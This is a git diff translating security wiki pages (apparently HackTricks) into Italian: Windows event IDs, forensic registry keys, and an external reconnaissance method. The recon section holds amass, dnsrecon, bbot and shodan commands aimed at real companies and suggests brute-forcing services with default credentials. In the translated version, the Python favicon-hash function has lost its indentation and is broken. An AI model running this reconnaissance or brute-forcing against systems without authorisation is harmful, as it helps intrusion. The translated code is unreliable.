(11)**: Accesso con credenziali memorizzate senza contatto con il controller di dominio. +- **Cache Remote Interactive (12)**: Accesso remoto con credenziali memorizzate. +- **Cached Unlock (13)**: Sblocco con credenziali memorizzate. #### Status and Sub Status Codes for EventID 4625: -- **0xC0000064**: User name does not exist - Could indicate a username enumeration attack. -- **0xC000006A**: Correct user name but wrong password - Possible password guessing or brute-force attempt. -- **0xC0000234**: User account locked out - May follow a brute-force attack resulting in multiple failed logins. -- **0xC0000072**: Account disabled - Unauthorized attempts to access disabled accounts. -- **0xC000006F**: Logon outside allowed time - Indicates attempts to access outside of set login hours, a possible sign of unauthorized access. -- **0xC0000070**: Violation of workstation restrictions - Could be an attempt to login from an unauthorized location. -- **0xC0000193**: Account expiration - Access attempts with expired user accounts. -- **0xC0000071**: Expired password - Login attempts with outdated passwords. -- **0xC0000133**: Time sync issues - Large time discrepancies between client and server may be indicative of more sophisticated attacks like pass-the-ticket. -- **0xC0000224**: Mandatory password change required - Frequent mandatory changes might suggest an attempt to destabilize account security. -- **0xC0000225**: Indicates a system bug rather than a security issue. -- **0xC000015b**: Denied logon type - Access attempt with unauthorized logon type, such as a user trying to execute a service logon. +- **0xC0000064**: Il nome utente non esiste - Potrebbe indicare un attacco di enumerazione degli username. +- **0xC000006A**: Nome utente corretto ma password errata - Possibile tentativo di indovinare la password o attacco brute-force. +- **0xC0000234**: Account utente bloccato - Può seguire un attacco brute-force che ha portato a più accessi falliti. +- **0xC0000072**: Account disabilitato - Tentativi non autorizzati di accedere a account disabilitati. +- **0xC000006F**: Accesso al di fuori dell'orario consentito - Indica tentativi di accesso al di fuori delle ore di accesso impostate, un possibile segno di accesso non autorizzato. +- **0xC0000070**: Violazione delle restrizioni della workstation - Potrebbe essere un tentativo di accesso da una posizione non autorizzata. +- **0xC0000193**: Scadenza dell'account - Tentativi di accesso con account utente scaduti. +- **0xC0000071**: Password scaduta - Tentativi di accesso con password obsolete. +- **0xC0000133**: Problemi di sincronizzazione dell'ora - Grandi discrepanze di tempo tra client e server possono indicare attacchi più sofisticati come pass-the-ticket. +- **0xC0000224**: Cambio di password obbligatorio richiesto - Cambiamenti obbligatori frequenti potrebbero suggerire un tentativo di destabilizzare la sicurezza dell'account. +- **0xC0000225**: Indica un bug di sistema piuttosto che un problema di sicurezza. +- **0xC000015b**: Tipo di accesso negato - Tentativo di accesso con tipo di accesso non autorizzato, come un utente che cerca di eseguire un accesso di servizio. #### EventID 4616: -- **Time Change**: Modification of the system time, could obscure the timeline of events. +- **Time Change**: Modifica dell'ora di sistema, potrebbe offuscare la cronologia degli eventi. -#### EventID 6005 and 6006: +#### EventID 6005 e 6006: -- **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down. +- **System Startup and Shutdown**: L'EventID 6005 indica l'avvio del sistema, mentre l'EventID 6006 segna lo spegnimento. #### EventID 1102: -- **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities. +- **Log Deletion**: Cancellazione dei log di sicurezza, che è spesso un campanello d'allarme per coprire attività illecite. #### EventIDs for USB Device Tracking: -- **20001 / 20003 / 10000**: USB device first connection. -- **10100**: USB driver update. -- **EventID 112**: Time of USB device insertion. +- **20001 / 20003 / 10000**: Prima connessione del dispositivo USB. +- **10100**: Aggiornamento del driver USB. +- **EventID 112**: Ora di inserimento del dispositivo USB. -For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). +Per esempi pratici su come simulare questi tipi di accesso e opportunità di dumping delle credenziali, fai riferimento alla [guida dettagliata di Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). -Event details, including status and sub-status codes, provide further insights into event causes, particularly notable in Event ID 4625. +I dettagli degli eventi, inclusi i codici di stato e sottostato, forniscono ulteriori informazioni sulle cause degli eventi, particolarmente notevoli nell'Event ID 4625. ### Recovering Windows Events -To enhance the chances of recovering deleted Windows Events, it's advisable to power down the suspect computer by directly unplugging it. **Bulk_extractor**, a recovery tool specifying the `.evtx` extension, is recommended for attempting to recover such events. +Per aumentare le possibilità di recuperare eventi di Windows eliminati, è consigliabile spegnere il computer sospetto scollegandolo direttamente. **Bulk_extractor**, uno strumento di recupero che specifica l'estensione `.evtx`, è raccomandato per tentare di recuperare tali eventi. ### Identifying Common Attacks via Windows Events -For a comprehensive guide on utilizing Windows Event IDs in identifying common cyber attacks, visit [Red Team Recipe](https://redteamrecipe.com/event-codes/). +Per una guida completa su come utilizzare gli ID evento di Windows per identificare attacchi informatici comuni, visita [Red Team Recipe](https://redteamrecipe.com/event-codes/). #### Brute Force Attacks -Identifiable by multiple EventID 4625 records, followed by an EventID 4624 if the attack succeeds. +Identificabili da più registrazioni di EventID 4625, seguite da un EventID 4624 se l'attacco ha successo. #### Time Change -Recorded by EventID 4616, changes to system time can complicate forensic analysis. +Registrato da EventID 4616, i cambiamenti all'ora di sistema possono complicare l'analisi forense. #### USB Device Tracking -Useful System EventIDs for USB device tracking include 20001/20003/10000 for initial use, 10100 for driver updates, and EventID 112 from DeviceSetupManager for insertion timestamps. +EventIDs di sistema utili per il tracciamento dei dispositivi USB includono 20001/20003/10000 per l'uso iniziale, 10100 per aggiornamenti dei driver e EventID 112 da DeviceSetupManager per i timestamp di inserimento. #### System Power Events -EventID 6005 indicates system startup, while EventID 6006 marks shutdown. +L'EventID 6005 indica l'avvio del sistema, mentre l'EventID 6006 segna lo spegnimento. #### Log Deletion -Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis. +L'EventID di sicurezza 1102 segnala la cancellazione dei log, un evento critico per l'analisi forense. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 840b910bc..9861b0423 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,101 +1,101 @@ -# Interesting Windows Registry Keys +# Chiavi di Registro di Windows Interessanti -### Interesting Windows Registry Keys +### Chiavi di Registro di Windows Interessanti {{#include ../../../banners/hacktricks-training.md}} -### **Windows Version and Owner Info** +### **Informazioni sulla Versione di Windows e Proprietario** -- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you'll find the Windows version, Service Pack, installation time, and the registered owner's name in a straightforward manner. +- Situato in **`Software\Microsoft\Windows NT\CurrentVersion`**, troverai la versione di Windows, il Service Pack, l'orario di installazione e il nome del proprietario registrato in modo chiaro. -### **Computer Name** +### **Nome del Computer** -- The hostname is found under **`System\ControlSet001\Control\ComputerName\ComputerName`**. +- Il nome host si trova sotto **`System\ControlSet001\Control\ComputerName\ComputerName`**. -### **Time Zone Setting** +### **Impostazione del Fuso Orario** -- The system's time zone is stored in **`System\ControlSet001\Control\TimeZoneInformation`**. +- Il fuso orario del sistema è memorizzato in **`System\ControlSet001\Control\TimeZoneInformation`**. -### **Access Time Tracking** +### **Tracciamento del Tempo di Accesso** -- By default, the last access time tracking is turned off (**`NtfsDisableLastAccessUpdate=1`**). To enable it, use: - `fsutil behavior set disablelastaccess 0` +- Per impostazione predefinita, il tracciamento dell'ultimo tempo di accesso è disattivato (**`NtfsDisableLastAccessUpdate=1`**). Per abilitarlo, usa: +`fsutil behavior set disablelastaccess 0` -### Windows Versions and Service Packs +### Versioni di Windows e Service Pack -- The **Windows version** indicates the edition (e.g., Home, Pro) and its release (e.g., Windows 10, Windows 11), while **Service Packs** are updates that include fixes and, sometimes, new features. +- La **versione di Windows** indica l'edizione (ad es., Home, Pro) e la sua release (ad es., Windows 10, Windows 11), mentre i **Service Pack** sono aggiornamenti che includono correzioni e, a volte, nuove funzionalità. -### Enabling Last Access Time +### Abilitazione del Tempo di Accesso -- Enabling last access time tracking allows you to see when files were last opened, which can be critical for forensic analysis or system monitoring. +- Abilitare il tracciamento dell'ultimo tempo di accesso consente di vedere quando i file sono stati aperti per l'ultima volta, il che può essere fondamentale per l'analisi forense o il monitoraggio del sistema. -### Network Information Details +### Dettagli sulle Informazioni di Rete -- The registry holds extensive data on network configurations, including **types of networks (wireless, cable, 3G)** and **network categories (Public, Private/Home, Domain/Work)**, which are vital for understanding network security settings and permissions. +- Il registro contiene dati estesi sulle configurazioni di rete, inclusi **tipi di reti (wireless, cavo, 3G)** e **categorie di rete (Pubblica, Privata/Casa, Dominio/Lavoro)**, che sono vitali per comprendere le impostazioni di sicurezza della rete e i permessi. -### Client Side Caching (CSC) +### Caching Lato Client (CSC) -- **CSC** enhances offline file access by caching copies of shared files. Different **CSCFlags** settings control how and what files are cached, affecting performance and user experience, especially in environments with intermittent connectivity. +- **CSC** migliora l'accesso ai file offline memorizzando copie di file condivisi. Diverse impostazioni di **CSCFlags** controllano come e quali file vengono memorizzati nella cache, influenzando le prestazioni e l'esperienza dell'utente, specialmente in ambienti con connettività intermittente. -### AutoStart Programs +### Programmi di Avvio Automatico -- Programs listed in various `Run` and `RunOnce` registry keys are automatically launched at startup, affecting system boot time and potentially being points of interest for identifying malware or unwanted software. +- I programmi elencati in varie chiavi di registro `Run` e `RunOnce` vengono avviati automaticamente all'avvio, influenzando il tempo di avvio del sistema e potenzialmente essendo punti di interesse per identificare malware o software indesiderato. ### Shellbags -- **Shellbags** not only store preferences for folder views but also provide forensic evidence of folder access even if the folder no longer exists. They are invaluable for investigations, revealing user activity that isn't obvious through other means. +- **Shellbags** non solo memorizzano le preferenze per le visualizzazioni delle cartelle, ma forniscono anche prove forensi di accesso alle cartelle anche se la cartella non esiste più. Sono inestimabili per le indagini, rivelando l'attività dell'utente che non è ovvia attraverso altri mezzi. -### USB Information and Forensics +### Informazioni e Forense USB -- The details stored in the registry about USB devices can help trace which devices were connected to a computer, potentially linking a device to sensitive file transfers or unauthorized access incidents. +- I dettagli memorizzati nel registro sui dispositivi USB possono aiutare a tracciare quali dispositivi sono stati collegati a un computer, potenzialmente collegando un dispositivo a trasferimenti di file sensibili o incidenti di accesso non autorizzato. -### Volume Serial Number +### Numero di Serie del Volume -- The **Volume Serial Number** can be crucial for tracking the specific instance of a file system, useful in forensic scenarios where file origin needs to be established across different devices. +- Il **Numero di Serie del Volume** può essere cruciale per tracciare l'istanza specifica di un file system, utile in scenari forensi in cui è necessario stabilire l'origine del file su diversi dispositivi. -### **Shutdown Details** +### **Dettagli di Spegnimento** -- Shutdown time and count (the latter only for XP) are kept in **`System\ControlSet001\Control\Windows`** and **`System\ControlSet001\Control\Watchdog\Display`**. +- L'orario di spegnimento e il conteggio (quest'ultimo solo per XP) sono conservati in **`System\ControlSet001\Control\Windows`** e **`System\ControlSet001\Control\Watchdog\Display`**. -### **Network Configuration** +### **Configurazione di Rete** -- For detailed network interface info, refer to **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. -- First and last network connection times, including VPN connections, are logged under various paths in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. +- Per informazioni dettagliate sull'interfaccia di rete, fare riferimento a **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. +- I tempi di connessione di rete, inclusi i collegamenti VPN, sono registrati sotto vari percorsi in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. -### **Shared Folders** +### **Cartelle Condivise** -- Shared folders and settings are under **`System\ControlSet001\Services\lanmanserver\Shares`**. The Client Side Caching (CSC) settings dictate offline file availability. +- Le cartelle condivise e le impostazioni si trovano in **`System\ControlSet001\Services\lanmanserver\Shares`**. Le impostazioni di Caching Lato Client (CSC) determinano la disponibilità dei file offline. -### **Programs that Start Automatically** +### **Programmi che Si Avviano Automaticamente** -- Paths like **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** and similar entries under `Software\Microsoft\Windows\CurrentVersion` detail programs set to run at startup. +- Percorsi come **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** e voci simili sotto `Software\Microsoft\Windows\CurrentVersion` dettagliano i programmi impostati per avviarsi all'avvio. -### **Searches and Typed Paths** +### **Ricerche e Percorsi Digitati** -- Explorer searches and typed paths are tracked in the registry under **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** for WordwheelQuery and TypedPaths, respectively. +- Le ricerche di Explorer e i percorsi digitati sono tracciati nel registro sotto **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** per WordwheelQuery e TypedPaths, rispettivamente. -### **Recent Documents and Office Files** +### **Documenti Recenti e File di Office** -- Recent documents and Office files accessed are noted in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` and specific Office version paths. +- I documenti recenti e i file di Office accessibili sono annotati in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` e percorsi specifici della versione di Office. -### **Most Recently Used (MRU) Items** +### **Elementi Utilizzati di Recente (MRU)** -- MRU lists, indicating recent file paths and commands, are stored in various `ComDlg32` and `Explorer` subkeys under `NTUSER.DAT`. +- Le liste MRU, che indicano i percorsi e i comandi dei file recenti, sono memorizzate in varie sottochiavi `ComDlg32` e `Explorer` sotto `NTUSER.DAT`. -### **User Activity Tracking** +### **Tracciamento dell'Attività Utente** -- The User Assist feature logs detailed application usage stats, including run count and last run time, at **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. +- La funzione User Assist registra statistiche dettagliate sull'uso delle applicazioni, inclusi il conteggio delle esecuzioni e l'ora dell'ultima esecuzione, in **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. -### **Shellbags Analysis** +### **Analisi delle Shellbags** -- Shellbags, revealing folder access details, are stored in `USRCLASS.DAT` and `NTUSER.DAT` under `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** for analysis. +- Le shellbags, che rivelano dettagli sull'accesso alle cartelle, sono memorizzate in `USRCLASS.DAT` e `NTUSER.DAT` sotto `Software\Microsoft\Windows\Shell`. Usa **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** per l'analisi. -### **USB Device History** +### **Storia dei Dispositivi USB** -- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** and **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contain rich details on connected USB devices, including manufacturer, product name, and connection timestamps. -- The user associated with a specific USB device can be pinpointed by searching `NTUSER.DAT` hives for the device's **{GUID}**. -- The last mounted device and its volume serial number can be traced through `System\MountedDevices` and `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectively. +- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** e **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contengono dettagli ricchi sui dispositivi USB collegati, inclusi produttore, nome del prodotto e timestamp di connessione. +- L'utente associato a un dispositivo USB specifico può essere individuato cercando nei registri `NTUSER.DAT` per il **{GUID}** del dispositivo. +- L'ultimo dispositivo montato e il suo numero di serie del volume possono essere tracciati attraverso `System\MountedDevices` e `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, rispettivamente. -This guide condenses the crucial paths and methods for accessing detailed system, network, and user activity information on Windows systems, aiming for clarity and usability. +Questa guida riassume i percorsi e i metodi cruciali per accedere a informazioni dettagliate su sistema, rete e attività utente sui sistemi Windows, puntando alla chiarezza e all'usabilità. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index ef4a9559e..782274239 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -2,48 +2,40 @@ {{#include ../../banners/hacktricks-training.md}} -
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +## Scoperta degli asset -{% embed url="https://www.stmcyber.com/careers" %} +> Ti è stato detto che tutto ciò che appartiene a una certa azienda è all'interno dell'ambito, e vuoi scoprire cosa possiede effettivamente questa azienda. -## Assets discoveries +L'obiettivo di questa fase è ottenere tutte le **aziende possedute dalla società principale** e poi tutti gli **asset** di queste aziende. Per farlo, procederemo a: -> So you were said that everything belonging to some company is inside the scope, and you want to figure out what this company actually owns. +1. Trovare le acquisizioni della società principale, questo ci darà le aziende all'interno dell'ambito. +2. Trovare l'ASN (se presente) di ciascuna azienda, questo ci darà gli intervalli IP posseduti da ciascuna azienda. +3. Utilizzare ricerche whois inverse per cercare altre voci (nomi delle organizzazioni, domini...) correlate alla prima (questo può essere fatto in modo ricorsivo). +4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri asset (il trucco `ssl` può essere fatto in modo ricorsivo). -The goal of this phase is to obtain all the **companies owned by the main company** and then all the **assets** of these companies. To do so, we are going to: +### **Acquisizioni** -1. Find the acquisitions of the main company, this will give us the companies inside the scope. -2. Find the ASN (if any) of each company, this will give us the IP ranges owned by each company -3. Use reverse whois lookups to search for other entries (organisation names, domains...) related to the first one (this can be done recursively) -4. Use other techniques like shodan `org`and `ssl`filters to search for other assets (the `ssl` trick can be done recursively). +Prima di tutto, dobbiamo sapere quali **altre aziende sono possedute dalla società principale**.\ +Un'opzione è visitare [https://www.crunchbase.com/](https://www.crunchbase.com), **cercare** la **società principale** e **cliccare** su "**acquisizioni**". Lì vedrai altre aziende acquisite dalla principale.\ +Un'altra opzione è visitare la pagina **Wikipedia** della società principale e cercare le **acquisizioni**. -### **Acquisitions** - -First of all, we need to know which **other companies are owned by the main company**.\ -One option is to visit [https://www.crunchbase.com/](https://www.crunchbase.com), **search** for the **main company**, and **click** on "**acquisitions**". There you will see other companies acquired by the main one.\ -Other option is to visit the **Wikipedia** page of the main company and search for **acquisitions**. - -> Ok, at this point you should know all the companies inside the scope. Lets figure out how to find their assets. +> Ok, a questo punto dovresti conoscere tutte le aziende all'interno dell'ambito. Scopriamo come trovare i loro asset. ### **ASNs** -An autonomous system number (**ASN**) is a **unique number** assigned to an **autonomous system** (AS) by the **Internet Assigned Numbers Authority (IANA)**.\ -An **AS** consists of **blocks** of **IP addresses** which have a distinctly defined policy for accessing external networks and are administered by a single organisation but may be made up of several operators. - -It's interesting to find if the **company have assigned any ASN** to find its **IP ranges.** It will be interested to perform a **vulnerability test** against all the **hosts** inside the **scope** and **look for domains** inside these IPs.\ -You can **search** by company **name**, by **IP** or by **domain** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\ -**Depending on the region of the company this links could be useful to gather more data:** [**AFRINIC**](https://www.afrinic.net) **(Africa),** [**Arin**](https://www.arin.net/about/welcome/region/)**(North America),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Latin America),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Anyway, probably all the** useful information **(IP ranges and Whois)** appears already in the first link. +Un numero di sistema autonomo (**ASN**) è un **numero unico** assegnato a un **sistema autonomo** (AS) dall'**Internet Assigned Numbers Authority (IANA)**.\ +Un **AS** consiste in **blocchi** di **indirizzi IP** che hanno una politica definita per l'accesso a reti esterne e sono amministrati da un'unica organizzazione, ma possono essere composti da più operatori. +È interessante scoprire se la **società ha assegnato qualche ASN** per trovare i suoi **intervalli IP.** Sarà interessante eseguire un **test di vulnerabilità** contro tutti gli **host** all'interno dell'**ambito** e **cercare domini** all'interno di questi IP.\ +Puoi **cercare** per nome dell'azienda, per **IP** o per **dominio** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\ +**A seconda della regione della società, questi link potrebbero essere utili per raccogliere ulteriori dati:** [**AFRINIC**](https://www.afrinic.net) **(Africa),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Nord America),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(America Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). Comunque, probabilmente tutte le** informazioni utili **(intervalli IP e Whois)** appaiono già nel primo link. ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla amass intel -asn 8911,50313,394161 ``` - -Also, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomain enumeration automatically aggregates and summarizes ASNs at the end of the scan. - +Inoltre, la **enumerazione dei sottodomini di [**BBOT**](https://github.com/blacklanternsecurity/bbot)** aggrega e riassume automaticamente gli ASN alla fine della scansione. ```bash bbot -t tesla.com -f subdomain-enum ... @@ -60,62 +52,59 @@ bbot -t tesla.com -f subdomain-enum [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+ ``` +Puoi trovare gli intervalli IP di un'organizzazione anche utilizzando [http://asnlookup.com/](http://asnlookup.com) (ha un'API gratuita).\ +Puoi trovare l'IP e l'ASN di un dominio usando [http://ipv4info.com/](http://ipv4info.com). -You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com) (it has free API).\ -You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com). +### **Cercare vulnerabilità** -### **Looking for vulnerabilities** +A questo punto conosciamo **tutti gli asset all'interno dell'ambito**, quindi se sei autorizzato potresti lanciare alcuni **scanner di vulnerabilità** (Nessus, OpenVAS) su tutti gli host.\ +Inoltre, potresti lanciare alcune [**scansioni delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) **o utilizzare servizi come** shodan **per trovare** porte aperte **e a seconda di ciò che trovi dovresti** dare un'occhiata a questo libro su come fare pentesting a diversi servizi possibili in esecuzione.\ +**Inoltre, potrebbe valere la pena menzionare che puoi anche preparare alcune** liste di nomi utente **e** password **predefiniti e provare a** forzare i servizi con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). -At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** (Nessus, OpenVAS) over all the hosts.\ -Also, you could launch some [**port scans**](../pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible services running.\ -**Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). +## Domini -## Domains +> Conosciamo tutte le aziende all'interno dell'ambito e i loro asset, è tempo di trovare i domini all'interno dell'ambito. -> We know all the companies inside the scope and their assets, it's time to find the domains inside the scope. +_Please, nota che nelle seguenti tecniche proposte puoi anche trovare sottodomini e che queste informazioni non dovrebbero essere sottovalutate._ -_Please, note that in the following purposed techniques you can also find subdomains and that information shouldn't be underrated._ - -First of all you should look for the **main domain**(s) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_. +Prima di tutto dovresti cercare il(i) **dominio(i) principale(i)** di ciascuna azienda. Ad esempio, per _Tesla Inc._ sarà _tesla.com_. ### **Reverse DNS** -As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server (1.1.1.1, 8.8.8.8) - +Poiché hai trovato tutti gli intervalli IP dei domini, potresti provare a eseguire **ricerche DNS inverse** su quegli **IP per trovare più domini all'interno dell'ambito**. Prova a utilizzare un server DNS della vittima o un server DNS ben noto (1.1.1.1, 8.8.8.8) ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` - -For this to work, the administrator has to enable manually the PTR.\ -You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com) +Per far funzionare questo, l'amministratore deve abilitare manualmente il PTR.\ +Puoi anche utilizzare uno strumento online per queste informazioni: [http://ptrarchive.com/](http://ptrarchive.com) ### **Reverse Whois (loop)** -Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** (for example other whois registries where the same email appears).\ -You can use online tools like: +All'interno di un **whois** puoi trovare molte **informazioni** interessanti come **nome dell'organizzazione**, **indirizzo**, **email**, numeri di telefono... Ma ciò che è ancora più interessante è che puoi trovare **più asset correlati all'azienda** se esegui **ricerche reverse whois per uno di questi campi** (ad esempio altri registri whois dove appare la stessa email).\ +Puoi utilizzare strumenti online come: -- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Free** -- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Free** -- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Free** -- [https://www.whoxy.com/](https://www.whoxy.com) - **Free** web, not free API. -- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Not free -- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Not Free (only **100 free** searches) -- [https://www.domainiq.com/](https://www.domainiq.com) - Not Free +- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratuito** +- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratuito** +- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratuito** +- [https://www.whoxy.com/](https://www.whoxy.com) - **Gratuito** web, API non gratuita. +- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Non gratuito +- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Non gratuito (solo **100 ricerche gratuite**) +- [https://www.domainiq.com/](https://www.domainiq.com) - Non gratuito -You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\ -You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` +Puoi automatizzare questo compito utilizzando [**DomLink** ](https://github.com/vysecurity/DomLink)(richiede una chiave API whoxy).\ +Puoi anche eseguire alcune scoperte automatiche di reverse whois con [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` -**Note that you can use this technique to discover more domain names every time you find a new domain.** +**Nota che puoi utilizzare questa tecnica per scoprire più nomi di dominio ogni volta che trovi un nuovo dominio.** ### **Trackers** -If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\ -For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages. +Se trovi lo **stesso ID dello stesso tracker** in 2 pagine diverse puoi supporre che **entrambe le pagine** siano **gestite dallo stesso team**.\ +Ad esempio, se vedi lo stesso **ID di Google Analytics** o lo stesso **ID di Adsense** su più pagine. -There are some pages and tools that let you search by these trackers and more: +Ci sono alcune pagine e strumenti che ti permettono di cercare tramite questi tracker e altro: - [**Udon**](https://github.com/dhn/udon) - [**BuiltWith**](https://builtwith.com) @@ -125,113 +114,99 @@ There are some pages and tools that let you search by these trackers and more: ### **Favicon** -Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it: - +Sapevi che possiamo trovare domini e sottodomini correlati al nostro obiettivo cercando lo stesso hash dell'icona favicon? Questo è esattamente ciò che fa lo strumento [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) creato da [@m4ll0k2](https://twitter.com/m4ll0k2). Ecco come usarlo: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s ``` +![favihash - scopri domini con lo stesso hash dell'icona favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) -![favihash - discover domains with the same favicon icon hash](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) - -Simply said, favihash will allow us to discover domains that have the same favicon icon hash as our target. - -Moreover, you can also search technologies using the favicon hash as explained in [**this blog post**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). That means that if you know the **hash of the favicon of a vulnerable version of a web tech** you can search if in shodan and **find more vulnerable places**: +In parole semplici, favihash ci permetterà di scoprire domini che hanno lo stesso hash dell'icona favicon del nostro obiettivo. +Inoltre, puoi anche cercare tecnologie utilizzando l'hash favicon come spiegato in [**questo post del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se conosci il **hash della favicon di una versione vulnerabile di una tecnologia web** puoi cercare in shodan e **trovare più luoghi vulnerabili**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` - -This is how you can **calculate the favicon hash** of a web: - +Questo è il modo in cui puoi **calcolare l'hash del favicon** di un web: ```python import mmh3 import requests import codecs def fav_hash(url): - response = requests.get(url) - favicon = codecs.encode(response.content,"base64") - fhash = mmh3.hash(favicon) - print(f"{url} : {fhash}") - return fhash +response = requests.get(url) +favicon = codecs.encode(response.content,"base64") +fhash = mmh3.hash(favicon) +print(f"{url} : {fhash}") +return fhash ``` - ### **Copyright / Uniq string** -Search inside the web pages **strings that could be shared across different webs in the same organisation**. The **copyright string** could be a good example. Then search for that string in **google**, in other **browsers** or even in **shodan**: `shodan search http.html:"Copyright string"` +Cerca all'interno delle pagine web **stringhe che potrebbero essere condivise tra diversi siti nella stessa organizzazione**. La **stringa di copyright** potrebbe essere un buon esempio. 